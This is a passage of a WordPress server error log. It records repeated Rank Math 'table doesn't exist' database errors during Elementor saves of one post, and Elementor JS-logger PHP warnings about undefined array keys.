UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1348 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 20:33:12 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1348 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 20:45:48 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:45:48 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:46:23 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:46:23 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:46:42 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:46:42 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:46:51 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:46:51 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:46:58 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:46:58 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:47:24 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:47:24 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:47:37 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:47:37 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:47:44 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:47:44 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:47:49 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:47:49 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:48:00 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:48:00 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:49:07 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:49:07 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:49:45 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:49:45 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:49:52 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:49:52 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:50:42 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:50:42 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:50:52 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1348 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 20:50:52 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1348 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 20:51:57 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1348 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 20:51:57 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1348 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 20:59:35 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:59:35 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 20:59:48 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 20:59:48 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:01:53 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:01:53 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:02:07 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:02:07 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:02:22 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:02:22 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:02:33 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:02:33 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:02:48 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:02:48 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:03:15 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:03:15 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:03:32 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:03:32 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:04:45 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:04:45 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:05:00 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1348 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:05:01 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1348 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:05:34 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:05:34 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:05:43 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:05:43 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:06:08 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:06:08 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:06:21 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:06:21 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:06:39 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:06:39 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:06:52 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:06:52 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:07:46 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:07:46 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:08:07 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:08:07 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:08:27 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:08:27 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:08:47 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:08:47 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:09:38 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:09:38 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:09:48 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:09:48 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:10:14 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:10:14 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:11:01 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:11:01 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:11:14 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:11:14 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:11:32 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:11:32 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:11:42 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:11:42 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:11:56 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:11:56 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:12:22 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:12:22 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:12:31 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:12:31 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:12:42 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:12:42 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:13:12 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:13:12 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:13:40 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:13:40 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:15:00 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1348 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:15:01 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1348 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:16:04 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:16:04 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:16:29 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:16:29 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:17:27 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:17:27 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:17:30 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1348 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:17:31 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1348 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:17:57 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:17:57 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:18:27 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:18:27 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:18:53 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:18:53 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:18:57 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:18:57 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:19:09 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:19:09 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:19:21 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:19:21 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:20:23 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:20:23 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:21:27 UTC] PHP Warning: Undefined array key "column" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 16 [06-Jun-2026 21:21:27 UTC] PHP Warning: Undefined array key "url" in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/core/logger/items/js.php on line 17 [06-Jun-2026 21:21:32 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1348 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 21:21:33 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1348 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), 